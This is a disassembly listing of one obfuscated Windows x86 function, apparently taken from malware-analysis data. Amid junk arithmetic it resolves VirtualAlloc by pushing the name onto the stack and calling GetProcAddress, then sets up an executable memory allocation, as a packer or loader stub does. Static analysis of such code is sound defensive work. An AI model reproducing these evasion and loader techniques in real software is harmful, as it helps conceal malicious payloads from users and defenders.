Function at 0x4045a4
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x3e8]
push ebx
sub esp, 0x42c
mov dword [esp], 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x3e8], 0x11c
push eax
xor eax, eax
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
mov dword [esp], esi
call ebx
push edx
test eax, eax
jne 0x404626
mov dword [ebp - 0x3e8], 0x114
mov dword [esp], esi
call ebx
xor eax, eax
cmp word [ebp - 0x3d4], 0x53
mov byte [ebp - 0x2ce], 4
push edi
jne 0x40461f
mov ax, word [ebp - 0x3ba]
sub eax, 0x30
mov word [ebp - 0x2d4], ax
mov ecx, dword [ebp - 0x3e4]
cmp ecx, 9
ja 0x40463b
and dword [ebp - 0x3dc], 0xffff
mov eax, dword [ebp - 0x3dc]
movzx edx, byte [ebp - 0x2ce]
shl ecx, 8
mov dword [0x419058], eax
mov eax, dword [ebp - 0x2d4]
shl eax, 8
or eax, edx
movzx edx, byte [ebp - 0x3e0]
movzx eax, ax
or edx, ecx
shl edx, 0x10
or eax, edx
mov dword [0x41905c], eax
shr eax, 0x10
cmp ax, 0x600
je 0x404693
xor ebx, ebx
mov dword [esp], ebx
call fcn.00408678
fisttp dword [ecx - 0xb17dbe4]
aas
add byte [eax], al
push esi
test eax, eax
je 0x404693
mov dword [esp], 0xc00
call eax
push ecx
mov ebx, str.UXTHEME
cmp byte [ebx], 0
je 0x4046b6
pushal
pushfd
test edi, ebp
jo 0x40470e
dec eax
add esi, ebp
shr eax, 0xb
or ecx, 0x15bc2e48
dec esi
mov ebx, edi
sub esi, ecx
sub ecx, dword [0x40b037]
or esi, edi
dec eax
sub ecx, 0x31fa1f0
test esi, 0x1118157d
jb 0x40467b
aaa
mov al, 0x40
add byte [ecx], cl
dec byte [eax - 0x7f]
jmp 0x35fe8b3
mov ecx, 0x84641c
add byte [esi - 9], al
salc
inc esi
not esi
inc esi
mov dword [0x40b53c], edi
ror edx, 0x16
test eax, esi
jo 0x404755
call fcn.00405d06
shr eax, 0x1f
call fcn.00406d76
not eax
call fcn.00401f87
loop 0x4046d0
dec ebx
add eax, esp
not esi
test edi, ebp
jb 0x404714
shl eax, 0x19
add ecx, ebx
test esp, 0x14ea658
jb 0x4046cf
rol eax, 0x11
xor dword [0x40b61a], esi
rcl byte [ecx], 0x31
xor eax, 0x40b61a
inc eax
add byte [ebp + 0x40b670ce], al
test esi, ecx
jo 0x4046d0
inc eax
and esi, edi
add ecx, ebx
xor ecx, dword [0x40b10a]
dec eax
not eax
ror esi, 0xf
mov dword [0x40b4d0], ecx
add edx, 0x9e62b90
sub esi, eax
rol eax, 0x15
dec esi
xor ecx, esi
mov ecx, dword [str.SHELL32]
not eax
ror eax, 0x1a
mov esi, eax
xor ecx, esp
mov eax, eax
add ecx, eax
shl ecx, 0x16
sub ebx, 0x1d3643f6
mov edx, 0x606838
xchg edi, eax
mov eax, eax
not esi
or esi, edi
xchg esi, esi
mov edi, eax
or esi, edi
xchg edx, esi
xor esi, 0xbe79815
not esi
or esi, edi
salc
dec edi
rol edx, 0x14
xchg eax, eax
not esi
mov eax, 0x705ff24
call fcn.00407c9d
or edx, 0xd6fb66e
mov esi, 0xf5364fc
add esi, esi
shr esi, 0xe
call fcn.00405d06
xor ecx, esp
mov edx, eax
and esi, 0x2c449ac1
xor edx, dword [0x40b03c]
mov ecx, 0x2da122
not esi
test edi, ebx
jo 0x4047cf
rol eax, 0x13
not esi
xchg esi, eax
sub dword [0x40b322], 0x2dd0980
inc eax
xor dword [0x40b248], 0xee10a00
mov dl, 0x40
add byte [eax], al
or ah, cl
push cs
inc eax
loop 0x4047b4
dec esi
and esi, edi
not eax
shr edx, 0x16
test esp, edi
jo 0x404775
mov dword [0x40b631], 0x113ed1c0
sub esi, eax
test edi, 0x3d3078
jo 0x4047e9
inc eax
add al, al
sar dword [esi], 1
adc dword [ebx], ebp
invalid
mov esi, esi
shl esi, 0x14
sub edi, dword [0x40b0be]
shr esi, 0xa
xor ebx, ecx
neg eax
add eax, eax
shl eax, 4
not edx
and edx, dword [0x40b194]
mov ecx, 0xf24612
neg edx
rol eax, 0xa
xchg edx, edx
inc esi
shr esi, 0x1f
xor edi, dword [0x40b005]
dec eax
inc esi
rol esi, 0xc
dec edx
loop 0x40481d
xor esi, esp
mov edx, 0x2acfa3c2
xor eax, ecx
sub esi, 0xd7785aa
neg esi
mov esi, eax
not edx
sub edx, dword [0x40b160]
mov esi, eax
sub ebx, 0x39cad80b
test ebx, edx
jo 0x404873
sub ecx, edi
xor esi, eax
rol edi, 8
inc edi
shr edx, 0x10
mov edx, eax
rol ecx, 3
mov eax, esp
or eax, eax
sub esi, eax
mov esi, eax
call fcn.00408420
mov eax, esi
shr esi, 3
ror esi, 0xb
sub ecx, dword [0x40b1f5]
xor esi, eax
shl edx, 0x1e
call fcn.00408b7c
dec esi
mov esi, 0x95c1444
test edi, eax
jo 0x404871
add esi, 0x175265ca
mov eax, eax
or esi, edi
rol edx, 5
inc esi
call fcn.004018fe
xor esi, eax
ror eax, 0x15
neg ecx
add edx, 0x9c2fef2
push 0x43a254
xor ebx, dword [0x40b12e]
add edi, dword [section..data]
xor edx, 0x627cffa
rol ebx, 0x13
sub ecx, ebx
dec ecx
xor esi, dword [0x40b059]
dec eax
ror esi, 0x19
xor ebx, edi
mov dword [0x40b86c], edx
xor ebx, dword [0x40b0fc]
neg eax
call fcn.00408420
mov dword [0x40b2b4], ecx
inc eax
xchg eax, eax
sub esi, dword [str.ADVAPI32]
call fcn.00405d06
xor dword [0x40b7b0], ecx
call fcn.00405d06
sub dword [0x40b524], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add edx, 0xf6ecb62
inc edx
xor ecx, dword [0x40bd90]
xor esi, eax
sub esi, dword [0x40bd30]
xor esi, esp
ror edx, 0xf
add eax, esp
inc edx
mov dword [0x40b88c], 0x85db4d0
add edx, esp
sub eax, ebp
xor eax, 0x5e61aea
xor dword [0x40b35b], 0xc74098d
not esi
not esi
xor eax, 0x5e61aea
add eax, ebp
sub edx, esp
dec edx
sub eax, esp
rol edx, 0xf
xor esi, esp
xor esi, eax
dec edx
sub edx, 0xf6ecb62
push 0
call fcn.00408420
inc esi
call fcn.00406608
sub ecx, eax
sub ecx, dword [0x40bc24]
add ecx, 0x9afa3a0
call fcn.00405f28
dec eax
or dword [0x40b480], 0x1140b0f1
call fcn.00401084
xor edx, esi
sub ebx, dword [0x40bcc0]
xor edx, esi
or dword [0x40b2db], 0x28ea8c78
inc eax
call fcn.00401084
sub ecx, 0x9afa3a0
add ecx, eax
call fcn.00405f28
dec esi
call fcn.004029aa
push 0x636f6c6c
xor esi, 0x24673740
rol eax, 0x1c
sub ecx, dword [0x40bf77]
xor esi, eax
call fcn.00401da5
neg esi
sub edi, 0xcaaea70
add esi, dword [0x40be8a]
sub esi, dword [0x40be98]
add edi, eax
call fcn.00405d06
sub edi, eax
add edi, 0xcaaea70
neg esi
call fcn.00407c9d
xor esi, eax
ror eax, 0x1c
xor esi, 0x24673740
push 0x416c6175
ror esi, 5
xor dword [0x40b75f], ecx
call fcn.0040372c
add esi, eax
neg edi
dec esi
and dword [0x40b7b8], 0xf3d16ca
not eax
add edi, eax
call fcn.00406608
not eax
call fcn.00401084
xor esi, eax
call fcn.00402649
add esi, eax
sub dword [0x40b308], edx
sub eax, 0x65d4359
xor ebx, dword [0x40b905]
call fcn.00408b16
call fcn.00402f3a
add eax, 0x65d4359
sub esi, eax
xor esi, eax
call fcn.00405d06
not eax
call fcn.004018fe
sub edi, eax
not eax
mov dword [0x40b878], 0x1af46bf
inc esi
neg edi
sub esi, eax
rol esi, 5
push 0x74726956
mov dword [0x40b72e], edx
not eax
call fcn.0040221b
xor eax, esp
call fcn.0040382d
rol eax, 0x1d
mov dword [0x40b4f8], ecx
call fcn.00408420
xor esi, eax
ror eax, 0x1e
rol eax, 0x1e
xor esi, eax
call fcn.00405f28
and dword [0x40b7d9], ecx
ror eax, 0x1d
call fcn.00405d06
xor eax, esp
call fcn.0040724b
not eax
push esp
dec esi
xor esi, dword [0x40b978]
dec esi
mov dword [0x40b468], esi
not eax
mov dword [0x40b449], ebx
sub ebx, dword [0x40bbe2]
ror esi, 5
call fcn.00407c9d
sub ecx, dword [0x40be14]
or dword [0x40b58a], ecx
sub esi, dword [0x40b97c]
ror eax, 0xc
xor ebx, dword [0x40bc39]
xor eax, 0x84e5880
ror eax, 0x10
add dword [0x40b5cf], 0x2e506b2a
sub ecx, dword [0x40bcd2]
mov dword [0x40b3b0], 0x8a3a618
inc ebx
dec ebx
and dword [0x40b690], 0x38c1ee6c
mov dword [0x40b34d], 0x91189e
rol eax, 0x10
xor eax, 0x84e5880
rol eax, 0xc
mov dword [0x40b784], ebx
call fcn.00406ec3
rol esi, 5
sub dword [0x40b8a0], esi
not eax
inc esi
inc esi
push eax
call fcn.00402649
add esi, eax
sub edi, dword [0x40bdfe]
add edx, dword [0x40bb8c]
ror esi, 0xc
sub ebx, dword [0x40bbee]
call fcn.00408420
rol esi, 0x14
call fcn.00405d06
ror esi, 0x17
rol esi, 0x17
call fcn.004075b1
ror esi, 0x14
call fcn.0040773d
rol esi, 0xc
sub esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40b752], 0x278f74ae
xor esi, eax
xor ecx, dword [0x40bd3c]
sub ecx, edx
xor edi, esp
call fcn.00409071
xor edi, dword [0x40bce3]
xor esi, eax
call fcn.00406608
ror eax, 0x1c
xor esi, eax
sub ecx, dword [0x40b8f8]
mov dword [0x40b730], ebx
neg ecx
add ecx, 0x1ca2e2
call fcn.00407cfb
xor ebx, eax
sub edi, dword [0x40bdc0]
xor edx, eax
sub esi, dword [0x40ba67]
mov dword [0x40b452], ecx
mov dword [0x40b650], edi
xor dword [0x40b580], ebx
xor edx, eax
xor ebx, eax
sub ecx, 0x1ca2e2
neg ecx
mov dword [0x40b716], edi
xor esi, eax
rol eax, 0x1c
call fcn.004060a7
xor esi, eax
call fcn.00407c9d
xor edi, esp
add ecx, edx
xor esi, eax
sub dword [0x40b69e], 0x114a2d05
add esp, 0x10
mov dword [0x40b7d0], 0x3da98ed
xchg esi, esi
sub esi, dword [0x40bbc8]
xor ebx, dword [0x40bd70]
xor edi, dword [0x40b9e0]
mov dword [0x40b3f5], 0x68e8ae0
rol edi, 0x1b
neg ebx
mov dword [0x40b8d8], 0x255ba962
sub ecx, dword [0x40bde8]
ror eax, 0x10
or dword [0x40b6f8], ecx
rol edi, 5
dec eax
sub ecx, dword [0x40bcd0]
call fcn.004089b4
add edx, eax
neg edx
sub dword [0x40b6e6], ebx
dec esi
add esi, 0x190d4cfb
call fcn.00406ff9
call fcn.0040418c
sub esi, 0x190d4cfb
inc esi
neg edx
sub edx, eax
call fcn.00405d06
inc eax
ror edi, 5
or dword [0x40b770], ecx
rol eax, 0x10
neg ebx
ror edi, 0x1b
mov dword [0x40b653], 0x434bc0
xchg esi, esi
mov dword [0x40b7d8], 0xc7d6df0
push 0x40
xor ebx, dword [0x40bdc0]
xor edx, eax
sub edx, dword [0x40bdea]
sub ecx, dword [0x40bde0]
xor dword [0x40b4b8], 0x10588dc8
xor edx, dword [0x40bd50]
call fcn.00409071
xor ebx, eax
xor esi, dword [0x40b9a8]
neg esi
neg esi
xor ebx, eax
call fcn.00403dae
xor edx, eax
push 0x3000
and dword [0x40b7b8], 0x76d9280